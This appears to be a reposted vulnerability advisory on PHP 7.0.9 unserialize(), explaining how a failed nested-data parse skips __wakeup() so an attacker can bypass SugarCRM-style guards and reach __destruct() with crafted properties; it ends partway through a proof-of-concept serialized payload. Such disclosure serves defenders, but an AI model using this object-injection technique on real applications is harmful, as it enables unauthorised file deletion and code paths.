PHP 7.0.9 __wakeup in Deserialization
Posted on 30 November -0001
<HTML><HEAD><TITLE>PHP 7.0.9 __wakeup() in Deserialization</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>Description: ------------ Create an Unexpected Object and Don't Invoke __wakeup() in During Deserialization ``` static inline long object_common1(UNSERIALIZE_PARAMETER, zend_class_entry *ce) { ... if (ce->serialize == NULL) { object_init_ex(*rval, ce); <=== create object ... static inline int object_common2(UNSERIALIZE_PARAMETER, long elements) { ... if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_PP(rval), elements, 1)) { <=== create object properties return 0; } if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY && zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) { INIT_PZVAL(&fname); ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0); BG(serialize_lock)++; call_user_function_ex(CG(function_table), rval, &fname, &retval_ptr, 0, 0, 1, NULL TSRMLS_CC); <=== call to __wakeup() BG(serialize_lock)--; } ``` If the process_nested_data() return 0, the __wakeup() will not be invoked, but the object and its properties has been created, then the unexpected object will be destroyed (or may not). This may cause some security issues. i)The unexpected object was destroyed, invoke __destruct() Some app revents objects deserialization via __wakeup(), ex SugarCRM: https://github.com/sugarcrm/sugarcrm_dev/blob/de002ede6b3f62ea9f0e22a49ba281c680bc69d7/Zend/Http/Response/Stream.php ``` public function __destruct() { if(is_resource($this->stream)) { fclose($this->stream); $this->stream = null; } if($this->_cleanup) { @unlink($this->stream_name); } } /** * This is needed to prevent unserialize vulnerability */ public function __wakeup() { // clean all properties foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } throw new Exception("Not a serializable object"); } ``` So attacker can bypass __wakeup() and invoke __destruct() with crafted properties. ii)The unexpected object wasn't destroyed, invoke more magic methods. Keeping the unexpected object via customized deserialization. PoC: ``` <?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } $inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."